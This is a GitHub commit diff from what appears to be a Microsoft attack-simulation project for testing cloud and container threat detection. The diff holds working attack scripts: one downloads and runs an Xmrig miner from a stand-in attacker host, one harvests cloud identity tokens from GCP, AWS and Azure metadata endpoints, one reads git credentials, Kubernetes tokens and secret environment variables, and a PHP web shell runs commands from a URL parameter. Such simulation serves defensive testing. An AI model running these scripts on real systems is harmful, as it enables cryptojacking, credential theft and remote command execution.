-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* refined the images and scripts, and added copyrught headers to code files (shell and php) * reduced noise in output * moved disclaimer in php file out of the php brackets * removed redundant environment variable --------- Co-authored-by: REDMOND\lleizerovich <[email protected]>
- Loading branch information
1 parent
4623fde
commit 795c154
Showing
14 changed files
with
125 additions
and
67 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,14 @@ | ||
#!/bin/bash | ||
|
||
# Copyright (c) Microsoft Corporation. | ||
# Licensed under the MIT License. | ||
|
||
echo "--- Cryptomining ---" | ||
echo "Optimizing host for mining" | ||
/sbin/modprobe msr allow_writes=on > /dev/null 2>&1 | ||
touch /etc/ld.so.preload | ||
echo "Downloading and running Xmrig crypto miner" | ||
curl -s "http://$NAME-attacker/xmrig" -o xmrig && chmod +x xmrig && ./xmrig | ||
echo " " | ||
curl -sO http://mdc-simulation-attacker/xmrig | ||
chmod +x xmrig | ||
./xmrig | ||
echo " " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,15 +1,28 @@ | ||
#!/bin/sh | ||
#!/bin/bash | ||
|
||
# Copyright (c) Microsoft Corporation. | ||
# Licensed under the MIT License. | ||
|
||
echo "--- Lateral Movement ---" | ||
echo "Sending request to IMDS to retrieve cloud identity token" | ||
if (token=$(curl -s -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"| grep -Po '"access_token":"\K.*?(?=")')); then | ||
cloud="gcp" | ||
elif (awstoken=$(curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")); then | ||
cloud="aws" | ||
role=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials" -H "X-aws-ec2-metadata-token: $awstoken") | ||
token=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" -H "X-aws-ec2-metadata-token: $awstoken" | grep -Po '"Token" : "\K.*?(?=")') | ||
if token=$(curl -s -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"| grep -Po '"access_token":"\K.*?(?=")'); then | ||
cloud="GCP" | ||
elif awstoken=$(curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); then | ||
cloud="AWS" | ||
roles=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials" -H "X-aws-ec2-metadata-token: $awstoken") | ||
for role in $roles; do | ||
token=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" -H "X-aws-ec2-metadata-token: $awstoken" | grep -Po '"Token" : "\K.*?(?=")') | ||
done | ||
else | ||
cloud="az" | ||
token=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com" | grep -Po '"access_token":"\K.*?(?=")') | ||
cloud="Azure" | ||
subId=$(curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2017-08-01&format=text") | ||
rg=$(curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/resourceGroupName?api-version=2017-08-01&format=text") | ||
location=$(curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/location?api-version=2017-08-01&format=text") | ||
cluster=$(echo $rg | grep -Po "[^_]+(?=_$location)") | ||
identity="/subscriptions/$subId/resourcegroups/$rg/providers/Microsoft.ManagedIdentity/userAssignedIdentities/$cluster-agentpool" | ||
imds_addr="http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com" | ||
imds_res=$(curl -sf -H Metadata:true "$imds_addr" ||curl -sf -H Metadata:true "$imds_addr&msi_res_id=$identity") | ||
token=$(echo $imds_res | grep -Po '"Access_token":"\K.*?(?=")') | ||
fi | ||
test $token && echo "$cloud token: $token" | head -c 50 && echo "..." || echo "no token found" | ||
test $token && echo "$cloud token: $token" | head -c 30 && echo "..." || echo "No token found" | ||
echo " " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,19 +1,32 @@ | ||
#!/bin/sh | ||
#!/bin/bash | ||
|
||
# Copyright (c) Microsoft Corporation. | ||
# Licensed under the MIT License. | ||
|
||
echo "--- Secrets Gathering ---" | ||
echo "searching for kubernetes service account token" | ||
if (test -f "/var/run/secret/kubernetes.io/serviceaccount/token"); then | ||
echo "found Kubernetes service account in /var/run/secret/kubernetes.io/serviceaccount/token" | ||
cat /var/run/secret/kubernetes.io/serviceaccount/token | head -c 50 && echo "..." | ||
echo "Searching for sensitive files" | ||
git_creds_file=$(find / -path */.git-credentials 2>/dev/null) | ||
if (test -n $git_creds_file); then | ||
git_creds=$(cat $git_creds_file) | ||
echo "Found .git-credential at $git_creds_file: $git_creds" | ||
else | ||
echo ".git-credential not found" | ||
fi | ||
echo " " | ||
kube_token_file="/var/run/secrets/kubernetes.io/serviceaccount/token" | ||
if (test -f $kube_token_file); then | ||
kube_token=$(cat $kube_token_file | head -c 30 && echo "...") | ||
echo "Found Kubernetes service account in $kube_token_file: kube_token" | ||
else | ||
echo "Kubernetes service account token not found" | ||
fi | ||
echo " " | ||
echo "looking for secrets in environment variables" | ||
echo "Looking for secrets in environment variables" | ||
if (`curl -sf -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/" -o /dev/null`); then | ||
set | grep GOOGLE_DEFAULT_CLIENT_SECRET= || echo "variables not found" | ||
set | grep GOOGLE_DEFAULT_CLIENT_SECRET= || echo "No secrets found in environment variable" | ||
elif (`curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -o /dev/null`); then | ||
set | grep AWS_SECRET_ACCESS_KEY= || echo "variables not found" | ||
set | grep AWS_SECRET_ACCESS_KEY= || echo "No secrets found in environment variable" | ||
else | ||
set | grep AZURE_CREDENTIAL_FILE= || echo "variables not found" | ||
set | grep AZURE_CREDENTIAL_FILE= || echo "No secrets found in environment variable" | ||
fi | ||
echo " " |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
https://user:[email protected] |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,5 @@ | ||
<?php echo shell_exec($_GET['cmd'])?> | ||
<!-- Copyright (c) Microsoft Corporation. | ||
Licensed under the MIT License. --> | ||
<?php | ||
echo shell_exec($_GET['cmd']); | ||
?> |